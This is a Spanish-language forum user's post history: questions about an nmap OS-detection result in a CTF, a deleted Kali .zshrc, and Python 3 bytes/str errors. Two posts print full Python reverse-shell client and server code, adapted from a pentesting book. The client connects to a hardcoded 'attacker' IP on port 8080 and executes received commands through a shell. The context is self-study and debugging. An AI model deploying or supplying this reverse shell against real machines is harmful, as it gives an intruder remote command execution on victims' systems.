Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - oculto

#1
Hola amigos hoy quisiera hacer una pregunta, esto porque he tenido un problema con nmap a la hora de hacer el escaneo nmap -O <host>, el problema es que tengo un resultado inesperado:

No exact OS matches for host (If you know what OS is running on it, see No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).

¿alguien sabe a que se debe este error?


cabe aclarar que este test es un ctf, todo es por medio de un entorno controlado
#2
Dudas y pedidos generales / [SOLUCIONADO] zsh de kali
Diciembre 17, 2020, 04:48:12 AM
amigos espero puedan ayudarme ya que por accidente borre el .zshrc de mi kali jajaja, ¿alguien sabe como puedo recuperarlo?
#3
Muchas gracias amigo, me ha funcionado pero solo me funciona si ejecuto el servidor en windows y el cliente el linux, ya que al intentar ejecutar el servidor en linux y el cliente el windows me da este error en el lado del cliente TypeError('bytes args is not allowed on Windows')
y al intentar poner un comando en  la shell reversa de linux no me muestra nada mas que este texto b' '
Por cierto cabe mencionar que el error me lo especifica en esta linea

Código: python
			CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


la cual es la linea del lado del cliente

y pues así quedo al haber modificado el código:
                CLIENTE:

Código: python
import socket #para tener la conexion tcp
import subprocess # inicia la shell

def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#inicia un objeto socket "s"
s.connect(("192.168.244.128",8080))# aqui definimos la ip del ataquante y el puerto de escucha

while True:# sigue recivoendo comando de la maquina atacante
command = s.recv(1024)
codi = 'terminate'.encode()
if codi in command: #si tenemos una orden de terminacion el proceso se cierra
s.close()
break
else: # de lo contrario,pasamos el comando recivido a un proceso de shell
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())#devuelve el resultado
s.send(CMD.stderr.read())#devuelve el error (si lo hay) como error syntax

def main():
connect()
main()


SERVIDOR:
         
Código: python

import socket

def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #se inicia un objeto de socket "s"

s.bind(("192.168.244.128",8080))#defini el puerto y el ip a la escucha
s.listen(1)#define el tamaño de la reversa, ya que esperamos solo uno

print(' +  esperando la coneccion tcp desde el puerto 8080')

conn,addr = s.accept()#accep() devolera el ID objeto de conexion (connn) y devolvera la direccion ip y el origen del cliente(ip,port)

print(' + conexion desde: ', addr)

while True:
command = input('shell> ')#obtiene la entrada del usuario y se almacena en una variable de comando

if 'terminate' in command: #si tenemos el comando de termninacion, informe al cliente y cierre el ciclo
conn.send('terminate')
conn.close()
break
else:
conn.send(command.encode())#de lo contrario enviaremos el comando al objetivo
print(conn.recv(1024))#imprime el resultado que obtuvimos
def main():
connect()
main()

#4
¿alguien sabe por que en python3 me pasa este error?, estoy trabajando con sockets pero al momento de ejecutar el script me sale este error TypeError: a bytes-like object is required, not 'str', he intentado investigar sobre ello pero no logro encontrar información, solo se que es un error que pasa en python3 por cierto este es mi codigo

cliente
Código: python

import socket #para tener la conexion tcp
import subprocess # inicia la shell

def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#inicia un objeto socket "s"
s.connect(("192.168.244.128",8080))# aqui definimos la ip del ataquante y el puerto de escucha

while True:# sigue recivoendo comando de la maquina atacante
command = s.recv(1024)

if 'terminate' in command: #si tenemos una orden de terminacion el proceso se cierra
s.close()
break
else: # de lo contrario,pasamos el comando recivido a un proceso de shell
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())#devuelve el resultado
s.send(CMD.stderr.read())#devuelve el error (si lo hay) como error syntax

def main():
connect()
main()


servidor:
Código: python

import socket

def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #se inicia un objeto de socket "s"

s.bind(("192.168.244.128",8080))#defini el puerto y el ip a la escucha
s.listen(1)#define el tamaño de la reversa, ya que esperamos solo uno

print(' + esperando la coneccion tcp desde el puerto 8080')

conn,addr = s.accept()#accep() devolera el ID objeto de conexion (connn) y devolvera la direccion ip y el origen del cliente(ip,port)

print(' + conexion desde: ', addr)

while True:
command = input('shell> ')#obtiene la entrada del usuario y se almacena en una variable de comando

if 'terminate' in command: #si tenemos el comando de termninacion, informe al cliente y cierre el ciclo
conn.send('terminate')
conn.close()
break
else:
conn.send(command)#de lo contrario enviaremos el comando al objetivo
print(conn.recv(1024))#imprime el resultado que obtuvimos
def main():
connect()
main()


por cierto el código lo saque de el libro python para pentesters, pero como sabrán el código esta escrito en python2.
soy programador autodidacta ya que no estudio en una universidad o en alguna escuela de programación y debido a esto me cuesta un poco entender
#5
Dudas y pedidos generales / error en python3
Marzo 22, 2020, 07:19:10 PM
¿alguien sabe por que me da este error en python3 al intentar conectar con el cliente?

TypeError: a bytes-like object is required, not 'str'